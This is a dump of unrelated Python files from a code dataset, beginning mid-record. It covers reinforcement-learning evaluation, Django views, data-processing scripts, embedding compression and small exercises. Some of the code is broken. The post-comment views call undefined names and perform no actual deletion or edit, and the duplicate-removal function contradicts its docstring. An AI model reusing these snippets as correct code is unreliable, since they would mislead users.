0\r\n episode_number += 1\r\n previous_observation = env.reset()\t\r\n time = 0\r\n env.reset()\r\n \r\n sum_reward_array = np.asarray(sum_reward_list)\r\n return np.mean(sum_reward_array), np.std(sum_reward_array)\r\n\t\r\ndef plot_fqi(path_std, path_mean):\r\n std_list = np.load(path_std)\r\n mean_list = np.load(path_mean)\r\n x = range(1, len(mean_list)+1)\r\n plt.errorbar(x, mean_list, std_list, linestyle='None', marker='^')\r\n plt.show()\r\nif __name__ == \"__main__\":\r\n mean_list, std_list = [], []\r\n for i in range(21):\r\n model_path = \"./model/Q\"+ str(i+2) + \".sav\"\r\n mean,std = evaluate(model_path)\r\n mean_list.append(mean)\r\n std_list.append(std)\r\n np.save(\"fqi_std_list\",np.asarray(std_list))\r\n np.save(\"fqi_mean_list\",np.asarray(mean_list))\r\n plot_fqi(\"fqi_std_list.npy\", \"fqi_mean_list.npy\")\r\n\r\n","sub_path":"project/eval_fqi.py","file_name":"eval_fqi.py","file_ext":"py","file_size_in_byte":2283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"593580243","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('treinamento', '0004_auto_20160616_1937'),\n ]\n\n operations = [\n migrations.RenameField(\n model_name='treinamento',\n old_name='somente_area',\n new_name='somente_cargo',\n ),\n ]\n","sub_path":"treinamento/migrations/0005_auto_20160616_1940.py","file_name":"0005_auto_20160616_1940.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"393975021","text":"from django.shortcuts import render\n# q=(coronaDist.objects.all().filter(district='nalgonda'))[:5:-1]\nimport matplotlib\nimport numpy as np\nimport pandas as pd\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\n#q=(coronaDist.objects.all().filter(district='nalgonda'))[::-1]\n# Create your views here.\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\n# Create your views here.\nfrom corona.models import coronaDist\nfrom django.views import generic\nclass IndexView(generic.ListView):\n def get(self,request):\n return render(request,'coronaDistrict/two.html')\n# Create your views here.\ndef dis(request):\n return render(request,'coronaDistrict/two1.html')\ndef count(request):\n try:\n date1=request.GET['date']\n district1=request.GET['district']\n \n q=coronaDist.objects.get(date=date1,district=district1)\n ctx={}\n ctx['date']=date1\n ctx['district']=district1\n ctx['positivecases']=q.positiveCases\n \n return render(request,'coronaDistrict/two1.html',ctx)\n except:\n return render(request, 'coronaDistrict/two1.html', {\n 'error_message': \"enter any date above september 7 and also make sure you enter correct district spelling(give ghmc for hyderabad)!\",\n })\ndef detail(request,id):\n \n \n k={1:'adilabad',2:'komarambheem asifabad',3:'nirmal',4:'mancherial',5:'nizamabad',6:'jagityal',7:'rajanna sircilla',8:'peddapalli',9:'jayashankar bhupalpally',10:'kamareddy',11:'karimnagar' ,12:'sangareddy',13:'medak',14:'siddipet',15:'warangal urban',16:'warangal rural',17:'mulugu',18:'bhadradri kothagudem',19:'mahabubabad',20:'jangoan',21:'yadadri bhongir',22:'medchal malkajigiri',23:'vikarabad',24:'ghmc',25:'rangareddy',26:'narayanapet',27:'mahabubnagar',28:'jogulamba gadwal',29:'wanaparthy',30:'nalgonda',31:'suryapet',32:'khammam',33:'nagarkurnool'}\n district1=k[id]\n q=(coronaDist.objects.all().filter(district=district1))[::-1]\n a=[]\n b=[]\n l=0\n for i in q:\n if l==5:\n break\n m,n,o=(i.date).split('-')\n a.append(o + \"-\" + n)\n b.append(int(i.positiveCases))\n l+=1\n print(a,b)\n left = [1, 2, 3, 4, 5]\n \n data={'dates':a,'cases':b}\n df=pd.DataFrame(data)\n df.set_index(\"dates\",drop=True,inplace=True)\n print(df)\n #out=df.plot(kind='bar',x='dates',y='cases',title=\"Comparison of covid cases in past 5 days in \" +k[id] )\n \n out=df.plot.line(title=\"Comparison of covid cases in past 5 days in \" +k[id] )\n out.set_xlabel(\"Dates\")\n out.set_ylabel(\"Positive cases\")\n \n plt.savefig('coronaDistrict/static/out')\n ctx={}\n ctx['date']='2020-09-09'\n ctx['district']=k[id]\n \n \n \n \n return render(request,'coronaDistrict/two.html',ctx)\n \n","sub_path":"project/coronaDistrict/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"547623250","text":"class ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n def __repr__(self):\n value_array = [self.val]\n next_node = self.next\n\n while next_node:\n if next_node.val:\n value_array.append(next_node.val)\n else:\n break\n\n next_node = next_node.next\n\n return \",\".join([str(val) for val in value_array])\n\ndef delete_duplicates(head):\n #\n \"\"\"Given a sorted linked list, delete all nodes that have duplicate numbers,\n leaving only distinct numbers from the original list.\n\n Return the linked list sorted as well.\n\n Input: 1->2->3->3->4->4->5\n Output: 1->2->5\n\n Input: 1->1\n Output: 1\n\n Input: 1\n Output: 1\n\n Intuition for simplest case: if current.next is None, stop\n Intuition for next simplest: if current.next and current.next.next is not\n None, then skip current.next if values are the same\n Since need to make 'jump', need prior value to be kept track\n Always have head as head\n\n 1. Initialize prev as ListNode(None), prev.next as head\n 2. While prev.next and prev.next.next, check if val in prev.next\n and prev.next.next is the same.\n If yes, make prev.next = prev.next.next\n If no, pass\n 3. Set prev.next to be next value\n \"\"\"\n prev = ListNode(0)\n prev.next = head\n\n while prev.next and prev.next.next:\n a = prev.next\n b = prev.next.next\n c = prev.next.next.next # may be None\n\n if a.val == b.val:\n prev.next.next = c\n else:\n prev.next.next = b\n\n prev = prev.next\n\n return head\n\n\nif __name__ == \"__main__\":\n g = ListNode(5)\n f = ListNode(4, g)\n e = ListNode(4, f)\n d = ListNode(3, e)\n c = ListNode(3, d)\n b = ListNode(2, c)\n a = ListNode(1, b)\n\n print(a)\n\n result = delete_duplicates(a)\n print(result)\n","sub_path":"2020/b0082_remove_duplicates_linked.py","file_name":"b0082_remove_duplicates_linked.py","file_ext":"py","file_size_in_byte":1940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"557085","text":"# Ask the user to enter their first name. If the length\n#of their first name is under five characters, ask\n#them to enter their surname and join them\n#together (without a space) and display the name\n#in upper case. If the length of the first name is five\n#or more characters, display their first name in\n#lower case.\n\nprint('Enter your name:')\nname = input()\n\nlenght_name = len(name)\n\nif lenght_name < 5:\n print('Enter your surname:')\n surname = input()\n complete_name = name + surname \n print(complete_name.upper())\n\nelse:\n print(name.lower())","sub_path":"e025.py","file_name":"e025.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"387120133","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nr\"\"\"\n # .---. .-----------\n # / \\ __ / ------\n # / / \\( )/ ----- (`-') _ _(`-') <-. (`-')_\n # ////// '\\/ ` --- ( OO).-/( (OO ).-> .-> \\( OO) ) .->\n # //// / // : : --- (,------. \\ .'_ (`-')----. ,--./ ,--/ ,--.' ,-.\n # // / / / `\\/ '-- | .---' '`'-..__)( OO).-. ' | \\ | | (`-')'.' /\n # // //..\\\\ (| '--. | | ' |( _) | | | | . '| |)(OO \\ /\n # ============UU====UU==== | .--' | | / : \\| |)| | | |\\ | | / /)\n # '//||\\\\` | `---. | '-' / ' '-' ' | | \\ | `-/ /`\n # ''`` `------' `------' `-----' `--' `--' `--'\n # ######################################################################################\n #\n # Author: edony - edonyzpc@gmail.com\n #\n # twitter : @edonyzpc\n #\n # Last modified: 2015-10-30 23:32\n #\n # Filename: cvshandler.py\n #\n # Description: All Rights Are Reserved\n #\n\"\"\"\n#import scipy as sp\n#import math as m\n#import matplotlib as mpl\n#import matplotlib.pyplot as plt\n#from mpl_toolkits.mplot3d import Axes3D as Ax3\n#from scipy import stats as st\n#from matplotlib import cm\n#import numpy as np\nimport csv\n\nclass PyColor(object):\n \"\"\" This class is for colored print in the python interpreter!\n \"F3\" call Addpy() function to add this class which is defined\n in the .vimrc for vim Editor.\"\"\"\n def __init__(self):\n self.self_doc = r\"\"\"\n STYLE: \\033['display model';'foreground';'background'm\n DETAILS:\n FOREGROUND BACKGOUND COLOR\n ---------------------------------------\n 30 40 black\n 31 41 red\n 32 42 green\n 33 43 yellow\n 34 44 blue\n 35 45 purple\n 36 46 cyan\n 37 47 white\n DISPLAY MODEL DETAILS\n -------------------------\n 0 default\n 1 highlight\n 4 underline\n 5 flicker\n 7 reverse\n 8 non-visiable\n e.g:\n \\033[1;31;40m \n \\033[0m \n \"\"\"\n self.warningcolor = '\\033[0;31m'\n self.tipcolor = '\\033[0;32m'\n self.endcolor = '\\033[0m'\n self._newcolor = ''\n @property\n def new(self):\n \"\"\"\n Customized Python Print Color.\n \"\"\"\n return self._newcolor\n @new.setter\n def new(self, color_str):\n \"\"\"\n New Color.\n \"\"\"\n self._newcolor = color_str\n def disable(self):\n \"\"\"\n Disable Color Print.\n \"\"\"\n self.warningcolor = ''\n self.endcolor = ''\n\n__description__ = \"\"\"\n This is the rough idea about abstracting the matched date of stocks id.\n \"\"\"\n# TODO(edony): this script takes lots of memory to query the matched item, it needs to optimize.\ndef ReadCSV(filename):\n with open(filename) as filebuf:\n csvreader = csv.reader(filebuf)\n return [item for item in csvreader]\n\ndef Date2Digit(date_str):\n if '/' in date_str:\n return [int(item) for item in date_str.split('/') if item]\n if '-' in date_str:\n return [int(item) for item in date_str.split('-') if item]\n\ndef CustomizedDateCSV(csv_ls):\n data = {}\n for item in csv_ls:\n temp = [Date2Digit(d) for d in item[1:]]\n data[item[0]] = temp\n if len(csv_ls) == len(data.keys()):\n return data\n else:\n print('Wrong input file for contains repeated keys!')\n\n#def prePriceCSV(csv_ls):\n# return [[item[1],item[0],item[2]] for item in csv_ls]\n\ndef PriceCSV(csv_ls):\n price = [[Date2Digit(item[0]), item[1], float(item[2])] for item in csv_ls]\n price.sort(key=lambda x:x[0])\n hashprice = {}\n #[hashprice[item[1]].append([item[0],item[1]]) for item in price]\n for item in price:\n if not item[1] in hashprice.keys():\n hashprice[item[1]] = []\n if item[2] <= 0.0995:\n hashprice[item[1]].append([item[0],item[2]])\n return hashprice\n\ndef matchDP(id, hashprice):\n matched = {}\n for key in id.keys(): #股票代码\n tmp = []\n for d in id[key]: #日期\n if d:\n mems = hashprice[key]\n mems.sort(key=lambda x:x[0])\n if key == '300092':\n print(mems)\n for item in mems:\n if item[0] <= d:\n continue\n elif item[0] in tmp:\n continue\n else:\n tmp.append(item[0])\n matched[key] = tmp\n return matched\n\ndef WriteCSV(ls):\n lines = [ls[key] for key in ls.keys() if not ls[key].insert(0, key)]\n with open(\"./test.csv\",'w+') as filebuf:\n writer = csv.writer(filebuf)\n for line in lines:\n writer.writerow(line)\n\nif __name__ == '__main__':\n date = ReadCSV('./CodeDate.csv')\n dig_date = CustomizedDateCSV(date)\n #print(len(dig_date.keys()))\n price = ReadCSV('./PriceLimit.csv')\n #price_ = prePriceCSV(price)\n hashprice = PriceCSV(price)\n for i, key in enumerate(hashprice.keys()):\n if i == 0:\n hashprice[key]\n else:\n break\n ls = matchDP(dig_date, hashprice)\n WriteCSV(ls)\n #WriteCSV(hashprice)\n #print(hashprice['000030'])\n #print(dig_price[0:1000])\n #print(price[0])\n #date.sort()\n #print(set(date))\n","sub_path":"pyscript/csvhandler.py","file_name":"csvhandler.py","file_ext":"py","file_size_in_byte":5843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"172184745","text":"\"\"\"Module for compressing the embedding models.\"\"\"\n\nimport argparse\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sys import maxsize\n# from sklearn.decomposition import PCA\n\nfrom intent_reco.utils.lbg import generate_codebook\nfrom intent_reco.utils.utils import get_indices\nfrom intent_reco.utils.data import load_sts, load_model_txt, load_model_ft_bin\nfrom intent_reco.utils.preprocessing import tokenize_sentences\nfrom intent_reco.embeddings.compressed import pickle_compressed_model\n\n\ndef chunks(l, n):\n \"\"\"\n Yields successive n-sized chunks from l.\n :param l: list of values\n :param n: chunk size\n :return: yields new chunk\n \"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n]\n\n\ndef split_vecs(d, n=4, limit=None):\n \"\"\"\n Splits vectors in into sub-vectors of size and returns them in a list.\n :param d: input vectors\n :param n: size of sub-vectors\n :param limit: pick a random subset from the vectors of size\n :return: list of sub-vectors\n \"\"\"\n if limit is not None and limit < len(d):\n elems = d[np.random.choice(d.shape[0], limit, replace=False), :]\n else:\n elems = d\n vectors = []\n for v in elems:\n vectors += list(chunks(v, n))\n return vectors\n\n\ndef split_vecs_distinct(d, n=4, limit=None):\n \"\"\"\n Splits vectors in into sub-vectors of size and returns\n a list of sub-vectors for each sub-vector position.\n :param d: input vectors\n :param n: size of sub-vectors\n :param limit: pick a random subset from the vectors of size\n :return: dict: {: }\n \"\"\"\n if limit is not None and limit < len(d):\n elems = d[np.random.choice(d.shape[0], limit, replace=False), :]\n else:\n elems = d\n len_pos = len(list(chunks(elems[0], n)))\n\n vectors = {}\n for i in range(len_pos):\n vectors[i] = []\n\n for v in elems:\n for i, chunk in enumerate(chunks(v, n)):\n vectors[i].append(chunk)\n return vectors\n\n\ndef convert_vec(v, n, cdb):\n \"\"\"\n Converts vector to its compressed form based on codebook.\n :param v: input vector\n :param n: size of sub-vectors\n :param cdb: codebook\n :return: converted vector\n \"\"\"\n ch = np.asarray(list(chunks(v, n)))\n dist = np.full((len(ch),), maxsize, dtype=np.float)\n conv = np.zeros((len(ch),), dtype=np.int)\n for i, cd in enumerate(cdb):\n dist_tmp = np.sum((ch-cd)**2, axis=1)\n cond = dist_tmp < dist\n dist[cond] = dist_tmp[cond]\n conv[cond] = i\n return conv.tolist()\n\n\ndef convert_vec_distinct(v, n, cdb):\n \"\"\"\n Converts vector to its compressed form based on codebook (distinct for each sub-vector position).\n :param v: input vector\n :param n: size of sub-vectors\n :param cdb: codebook dictionary\n :return: converted vector\n \"\"\"\n conv = []\n for i, chunk in enumerate(list(chunks(v, n))):\n dist = np.sum((cdb[i]-chunk)**2, axis=1)\n j = np.asscalar(np.argmin(dist))\n conv.append(j)\n return conv\n\n\ndef prune_by_norm(words, vectors, vsize, trn=None, keep=10000):\n \"\"\"\n Prune the vocabulary based on vector norms in a way that at least one word from each training sample is kept.\n In case all samples are covered, more words are added until the resulting vocabulary has words.\n :param words: input vocabulary\n :param vectors: input embedding vectors\n :param vsize: input embedding norms\n :param trn: list of training samples (if None, words are chosen solely by norms)\n :param keep: number of words to keep (can be more based on the training set)\n :return: pruned , and \n \"\"\"\n words_keep = []\n\n # cover the training set\n if trn is not None:\n for el in trn:\n tokens = el.split()\n indices = get_indices(tokens, words)\n tsize = []\n for i in indices:\n tsize.append(-1 if i < 0 else vsize[i])\n max_idx = int(np.argmax(tsize))\n if tsize[max_idx] < 0:\n continue\n best_w = tokens[max_idx]\n if best_w not in words_keep:\n words_keep.append(best_w)\n\n # add words to get words\n words_sorted = [x for _, x in sorted(zip(vsize, words))]\n kept = len(words_keep) + 1\n for w in words_sorted:\n if kept > keep:\n break\n if w not in words_keep:\n words_keep.append(w)\n kept += 1\n\n # create the pruned lists\n words_out = []\n vectors_out = []\n vsize_out = []\n for i, w in enumerate(words):\n if w in words_keep:\n words_out.append(w)\n vectors_out.append(vectors[i])\n vsize_out.append(vsize[i])\n vectors_out = np.asarray(vectors_out)\n\n return words_out, vectors_out, vsize_out\n\n\ndef prune_by_trn(words, vectors, vsize, trn):\n \"\"\"\n Prune the vocabulary so that only words in the training set are kept.\n :param words: input vocabulary\n :param vectors: input embedding vectors\n :param vsize: input embedding norms\n :param trn: list of training samples\n :return: pruned , and \n \"\"\"\n tokens = []\n for el in trn:\n tokens += el.split()\n tokens = set(tokens)\n\n words_out = []\n vectors_out = []\n vsize_out = []\n for i, w in enumerate(words):\n if w in tokens:\n words_out.append(w)\n vectors_out.append(vectors[i])\n vsize_out.append(vsize[i])\n\n return words_out, vectors_out, vsize_out\n\n\ndef visualize_vectors(vs):\n \"\"\"\n Plots vectors in .\n :param vs: input vectors\n \"\"\"\n plt.figure()\n for v in vs:\n plt.plot([0, v[0]], [0, v[1]])\n plt.show()\n\n\ndef codebook_to_strings(codebook, out_list):\n \"\"\"\n Converts codebook to a representation writable to a text file.\n :param codebook: input codebook\n :param out_list: list in which the output is stored\n \"\"\"\n for code in codebook:\n tmp = ''\n for n in code:\n tmp += str(n) + ' '\n out_list.append(tmp.rstrip() + '\\n')\n\n\nparser = argparse.ArgumentParser(description='Embedding model compression')\n\n# data\nparser.add_argument('--emb_path', type=str, metavar='', default='data/twitter_unigrams.bin',\n help='path to the embedding model')\nparser.add_argument('--emb_dim', type=int, metavar='', default=700,\n help='input embedding dimension [700]')\n\n# pruning\nparser.add_argument('--prune_freq', type=int, metavar='', default=None,\n help='number of words to keep after pruning by vector frequency [no pruning]')\nparser.add_argument('--prune_norm', type=int, metavar='', default=None,\n help='number of words to keep after pruning by vector norm [no pruning]')\nparser.add_argument('-t', '--trn_keep', action='store_true',\n help='keep words present in a training set')\nparser.add_argument('--trn_path', type=str, metavar='',\n default='data/stsbenchmark/unsupervised_training/sts-train-prep.txt',\n help='path to the training file (tokenized plain text) used for ')\n\n# dimensionality reduction\nparser.add_argument('-r', '--reduce_dim', action='store_true',\n help='apply dimensionality reduction')\nparser.add_argument('--dim', type=int, metavar='', default=100,\n help='embedding dimension after dimensionality reduction [100]')\n\n# quantization\nparser.add_argument('-q', '--quantize', action='store_true',\n help='use vector quantization')\nparser.add_argument('-n', '--normalize', action='store_true',\n help='normalize the vectors to unit length before quantization '\n '(original norm stored in the compressed model)')\nparser.add_argument('-d', '--distinct', action='store_true',\n help='create a distinct codebook for each sub-vector dimension')\nparser.add_argument('--d_sv', type=int, metavar='', default=10,\n help='size of sub-vectors the embeddings are split into [10]')\nparser.add_argument('--d_cb', type=int, metavar='', default=128,\n help='codebook size [128]')\nparser.add_argument('--qnt_trn', type=int, metavar='', default=10000,\n help='maximum number of randomly picked vectors for computing the codebook [10000]')\n\n# output\nparser.add_argument('--out_name', type=str, metavar='', default='model_compressed',\n help='name of the output model (without extension) [\\'model_compressed\\']')\nparser.add_argument('-p', '--pickle', action='store_true',\n help='create also a pickled version of the quantized model')\nparser.add_argument('--precision', type=int, metavar='', default=5,\n help='maximum number of decimals used in the output model [5]')\n\nparams = parser.parse_args()\nprint('Parsed arguments:\\n', params, end='\\n\\n')\nif not params.quantize:\n params.normalize = False\n params.distinct = False\nif params.dim > params.emb_dim:\n params.reduce_dim = False\n\nOUT = params.out_name + '.txt'\nOUT_CB = params.out_name + '_cb.txt'\nOUT_PKL = params.out_name + '.pickle'\nprec = params.precision\n\nif __name__ == '__main__':\n if params.trn_keep:\n trn_words = []\n with open(params.trn_path) as f:\n for line in f:\n trn_words += line.strip().split()\n trn_words = set(trn_words)\n else:\n trn_words = None\n\n print('Loading data (+ pruning vocabulary by frequency)...')\n if params.emb_path.endswith('.bin'):\n vocab, vecs, sizes = load_model_ft_bin(params.emb_path, k=params.prune_freq, normalize=params.normalize,\n keep=trn_words)\n else:\n vocab, vecs, sizes = load_model_txt(params.emb_path, k=params.prune_freq, normalize=params.normalize,\n dim=params.emb_dim, header=True, keep=trn_words)\n\n if params.prune_norm:\n # TODO: Possibility to prune by any training set, not just STS.\n print('Pruning vocabulary by norm...')\n sts = load_sts('data/stsbenchmark/sts-train.csv')\n sts = tokenize_sentences(sts['X1'] + sts['X2'], to_lower=True)\n vocab, vecs, sizes = prune_by_norm(vocab, vecs, sizes, trn=sts, keep=params.prune_norm)\n # vocab, vecs, sizes = prune_by_trn(vocab, vecs, sizes, trn=sts)\n print('- pruned vocabulary size:', len(vocab))\n\n if params.reduce_dim:\n print('Reducing dimension...')\n params.emb_dim = params.dim\n # pca = PCA(n_components=params.dim, copy=False)\n # vecs = pca.fit_transform(vecs)\n vecs = vecs[:, :params.dim]\n\n if params.quantize:\n # TODO: Quantize also the vector sizes after normalization?\n print('Computing codebook...')\n cb_out = []\n if params.distinct:\n lbg_data = split_vecs_distinct(vecs, n=params.d_sv, limit=params.qnt_trn)\n cb = {}\n for pos in lbg_data:\n print('--- position:', pos, '---')\n cb[pos] = generate_codebook(lbg_data[pos], cb_size=params.d_cb)[0]\n for pos in cb:\n codebook_to_strings(cb[pos].round(prec), cb_out)\n else:\n lbg_data = split_vecs(vecs, n=params.d_sv, limit=params.qnt_trn)\n cb = generate_codebook(lbg_data, cb_size=params.d_cb)[0]\n codebook_to_strings(cb.round(prec), cb_out)\n\n print('Writing codebook...')\n with open(OUT_CB, 'w', encoding='utf-8') as file:\n header = str(params.d_cb) + ' ' + str(params.d_sv) + '\\n'\n file.write(header)\n file.writelines(cb_out)\n\n print('Quantizing vectors...')\n convert_func = convert_vec_distinct if params.distinct else convert_vec\n vecs_quantized = []\n for vec in vecs:\n vecs_quantized.append(convert_func(vec, params.d_sv, cb))\n vecs = np.asarray(vecs_quantized)\n\n print('Preparing compressed model...')\n emb_out = []\n if not params.quantize:\n vecs = vecs.round(prec)\n for idx, word in enumerate(vocab):\n s = word\n for num in vecs[idx]:\n s += ' ' + str(num)\n if params.normalize:\n s += ' ' + str(round(sizes[idx], prec))\n emb_out.append(s + '\\n')\n\n print('Writing compressed model...')\n dim = int(params.emb_dim/params.d_sv) if params.quantize else params.emb_dim\n with open(OUT, 'w', encoding='utf-8') as file:\n header = str(len(emb_out)) + ' ' + str(dim)\n if params.normalize:\n header += ' NORM'\n if params.distinct:\n header += ' DIST'\n header += '\\n'\n file.write(header)\n file.writelines(emb_out)\n\n if params.pickle and params.quantize:\n print('Pickling...')\n pickle_compressed_model(OUT, OUT_CB, OUT_PKL)\n","sub_path":"intent_reco/model_compression.py","file_name":"model_compression.py","file_ext":"py","file_size_in_byte":13023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"387604888","text":"# Trains a Random Forest Classifier on features extracted from the Kaggle's Leaf Classification Challenge Data set\n#Requires the Leaf Data set found at https://www.kaggle.com/c/leaf-classification\n#The code attempts to find leaf images in the folder images\\\n\n\nimport time,sys,os\nimport numpy as np\nimport matplotlib.pyplot as plt\nif(not sys.version_info[0]<3):\n from importlib import reload\nfrom skimage import io,data\nfrom skimage import measure as ms\nimport pandas as pd\nfrom sklearn.externals import joblib\n\nfrom sklearn.ensemble import RandomForestClassifier as RFC\nfrom sklearn.model_selection import GridSearchCV as GSCV\n\ndef imgprocessing(name):\n img=io.imread(name)\n img[img<=np.max(img)/2.0]=0\n img[img>np.max(img)/2.0]=1\n #peri=ms.perimeter(img)\n area=np.sum(img)\n \n\n yL=np.array([len(np.where(img[:,i]==1)[0]) for i in range(len(img[0]))])\n xL=np.array([len(np.where(img[i,:]==1)[0]) for i in range(len(img))])\n if(np.max(xL)>np.max(yL)):#y axis has the largest axis\n temp=xL\n xL=yL\n yL=temp\n img=np.rot90(img)\n\n Ly=np.max(yL)#Value of the largest axis in each directions\n Lx=np.max(xL)\n xcent=np.where(yL==Ly)[0][0]\n ycent=np.where(xL==Lx)[0][0]\n\n yLa=np.where(img[:,xcent]==1)\n xLa=np.where(img[ycent,:]==1)\n #Rxc=(xcent-xLa[0][0])/(xLa[0][-1]-xLa[0][0])\n #Ryc=(ycent-yLa[0][0])/(yLa[0][-1]-yLa[0][0])\n Rxc=(xcent-xLa[0][0])/Lx\n Ryc=(ycent-yLa[0][0])/Ly\n\n temp=ms.find_contours(img,0.99) #Computing the average of |d/ds f^(x,y)|\n conttemp=[len(temp[i]) for i in range(len(temp))]\n cont=temp[np.where(conttemp==np.max(conttemp))[0][0]]\n\n dfx,dfy=0,0\n perimeter2=0\n dsArray=np.zeros(len(cont))\n zx,zy=0,0\n tempx,tempy=0,0\n for i in range(len(cont)-1):\n ds=np.sqrt((cont[i+1][0]-cont[i][0])*(cont[i+1][0]-cont[i][0])+(cont[i+1][1]-cont[i][1])*(cont[i+1][1]-cont[i][1]))\n dsArray[i+1]=ds+dsArray[i]\n perimeter2=perimeter2+ds\n dx=cont[i+1][0]-cont[i][0]\n dy=cont[i+1][1]-cont[i][1]\n\n if(tempx*dx<0):#check if the derivative changes sign - crosses a local extremum\n zx=zx+1\n if(tempy*dy<0):\n zy=zy+1\n tempx=dx\n tempy=dy\n\n dfx=dfx+np.abs(dx)/ds\n dfy=dfy+np.abs(dy)/ds\n peri=perimeter2\n return img,peri*peri/(4*np.pi*area),Lx/Ly,Rxc,Ryc,dfx/perimeter2,dfy/perimeter2,zx,zy,dsArray,cont\n\ndef interp(s,cont,dsArray):\n sint=np.where(dsArray\", self.__email_text_entered)\n \n\n def add_email_box_label(self):\n # create \n self.email_box_label = Label()\n\n # style\n self.email_box_label.configure(text = \"Email:\")\n self.email_box_label.place(x = 35, y = 110)\n \n def add_button_image(self):\n self.button_image_label = Label()\n self.button_image_label.place(x=270, y=107)\n self.button_image_label.configure(image=self.default_image, padx = 10)\n\n def add_type_box_label(self):\n # create \n self.type_box_label = Label()\n\n # style\n self.type_box_label.configure(text = \"Type\")\n self.type_box_label.place(x = 35, y = 150)\n\n def add_type_dropdown(self):\n self.email_type = StringVar(self.master)\n self.email_type.set(\"Weekly\")\n \n # create \n self.type_dropdown_label = OptionMenu(self.master, self.email_type, \"Weekly\", \"Monthly\", \"Yearly\")\n\n # style\n self.type_dropdown_label.place(x = 73, y = 145)\n self.type_dropdown_label.configure(width = 30)\n\n def add_button_subscribe(self):\n # create \n self.button_subscribe = Button()\n\n # style\n self.button_subscribe.configure(text = \"Subscribe!\",\n bg = \"#eddfdd\",\n width = 44)\n self.button_subscribe.place(x = 10, y = 200)\n\n # events\n self.button_subscribe.bind(\"\", self.__subscribe_button_clicked)\n\n def __subscribe_button_clicked(self, event):\n # Put entry box text in variable\n text = self.email_box.get()\n\n if not re.match(r\".*@.*\\..*\", text):\n print(\"Email address\", text)\n messagebox.showinfo(\"Newsletter\", \"Please enter your email!\")\n elif self.email_type.get() == \"Weekly\":\n messagebox.showinfo(\"Newsletter\", \"You have subscribed to the weekly Newsletter. You will receive this every Monday.\")\n elif self.email_type.get() == \"Monthly\":\n messagebox.showinfo(\"Newsletter\", \"You have subscribed to the monthly Newsletter. You will receive this on the first day of each month.\")\n elif self.email_type.get() == \"Yearly\":\n messagebox.showinfo(\"Newsletter\", \"You have subscribed to the yearly Newsletter. You will receive this at the start of each year.\")\n\n def __email_text_entered(self, event):\n # Put entry box text in variable\n email_text = self.email_box.get()\n \n if re.match(r\".*@.*\\..*\", email_text):\n # print(\"Email address\", email_text, self.email_type.get())\n self.button_image_label.configure(image=self.green_image, padx = 10)\n\n if email_text == '':\n self.button_image_label.configure(image=self.red_image, padx = 10)","sub_path":"AE2/TCA1/part_a.py","file_name":"part_a.py","file_ext":"py","file_size_in_byte":4081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"191268269","text":"from django.db import transaction\nfrom rest_framework import status\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom common.responses import ApiMessageResponse\nfrom moderation.permissions import IsNotSuspended\nfrom posts.views.post_comment.serializers import DeletePostCommentSerializer, UpdatePostCommentSerializer, \\\n EditPostCommentSerializer, MutePostCommentSerializer, UnmutePostCommentSerializer\n\n\n\nclass PostCommentItem(APIView):\n permission_classes = (IsAuthenticated, IsNotSuspended)\n\n def delete(self, request, post_uuid, post_comment_id):\n request_data = self._get_request_data(request, post_uuid, post_comment_id)\n\n serializer = DeletePostCommentSerializer(data=request_data)\n serializer.is_valid(raise_exception=True)\n\n data = serializer.validated_data\n post_uuid = data.get('post_uuid')\n post_comment_id = data.get('post_comment_id')\n\n user = request.user\n post_id = get_post_id_for_post_uuid(post_uuid)\n\n return Response({\n 'message': _('Комментарий удален')\n }, status=status.HTTP_200_OK)\n\n def patch(self, request, post_uuid, post_comment_id):\n request_data = self._get_request_data(request, post_uuid, post_comment_id)\n\n serializer = UpdatePostCommentSerializer(data=request_data)\n serializer.is_valid(raise_exception=True)\n\n data = serializer.validated_data\n comment_text = data.get('text')\n post_uuid = data.get('post_uuid')\n post_comment_id = data.get('post_comment_id')\n\n user = request.user\n post_id = 1\n\n post_comment_serializer = EditPostCommentSerializer(post_comment, context={\"request\": request})\n return Response(post_comment_serializer.data, status=status.HTTP_200_OK)\n\n def _get_request_data(self, request, post_uuid, post_comment_id):\n request_data = request.data.copy()\n request_data['post_uuid'] = post_uuid\n request_data['post_comment_id'] = post_comment_id\n return request_data\n\n\nclass MutePostComment(APIView):\n permission_classes = (IsAuthenticated,)\n\n def post(self, request, post_uuid, post_comment_id):\n serializer = MutePostCommentSerializer(data={\n 'post_uuid': post_uuid,\n 'post_comment_id': post_comment_id,\n })\n serializer.is_valid(raise_exception=True)\n\n user = request.user\n\n return ApiMessageResponse(message=_('Комментарии к посту запрещены.'), status=status.HTTP_200_OK)\n\n\nclass UnmutePostComment(APIView):\n permission_classes = (IsAuthenticated,)\n\n def post(self, request, post_uuid, post_comment_id):\n serializer = UnmutePostCommentSerializer(data={\n 'post_uuid': post_uuid,\n 'post_comment_id': post_comment_id,\n })\n serializer.is_valid(raise_exception=True)\n\n user = request.user\n\n return ApiMessageResponse(message=_('Комментарии к посту разрешены.'), 